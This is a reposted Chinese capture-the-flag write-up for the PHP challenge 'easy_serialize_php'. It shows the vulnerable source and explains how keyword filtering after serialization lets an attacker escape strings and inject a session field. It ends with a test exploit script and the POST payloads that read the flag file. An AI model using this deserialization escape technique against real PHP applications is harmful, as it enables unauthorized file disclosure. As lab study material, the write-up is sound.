欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 国际 > [安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

2025/2/7 9:27:12 来源:https://blog.csdn.net/2301_81040377/article/details/140592876  浏览:    关键词:[安洵杯 2019]easy_serialize_php

进入界面然后
在这里插入图片描述

<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}
这就是个正则if($_SESSION){unset($_SESSION);   销毁
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);
可以直接覆盖通过POSTif(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));   img突破点,利用文件读取我们构造路径来读取文件内容
}

?f=phpinfo
在这里插入图片描述
可能是flag先不管

d0g3_f1ag.php
<?phpfunction filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
先尝试能否正常序列化我们的目的是逃逸img

之前学过字符串逃逸但是又可能是不懂底层原理吧这道题卡了很久
首先反序列化

$b='a:3:{s:4:"user";s:24:"";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$c='a:3:{s:4:"user";s:24:"";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';
var_dump(unserialize($c));
var_dump(unserialize($b));

就是遇到}这是结束的标志所以这里这段代码就可以看出}之后的内容直接被丢弃了,无伤大雅
本地环境是由字符替换为空,那么就会少字符
少了字符,但是反序列化是不会停止的,他会持续的往后推移吃掉所需要的字符

这是测试的exp

<?php
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}$_SESSION['user']='flagflagflagflagflagflag';
$_SESSION['function']='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';$a= filter(serialize($_SESSION));
echo $a;
$b='a:3:{s:4:"user";s:24:"";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$c='a:3:{s:4:"user";s:24:"";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';
var_dump(unserialize($c));
var_dump(unserialize($b));

知道序列化格式的知道""包括的才是内容那么user此时少了24个字符就会往后面补吞24个字符

print(len('";s:8:"function";s:58:"a'));

在这里插入图片描述
欸那么为什么要加一个属性呢,这里回到最开始的测试,题目本身自带了user和function,而获取flag还要有img,所以有三个属性,才能正常反序列化,少了一个当然不行

在这里插入图片描述
传参也有讲究这样子才能识别

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}

在这里插入图片描述
在这里插入图片描述
刚好20个不用重新构造

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"2";}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com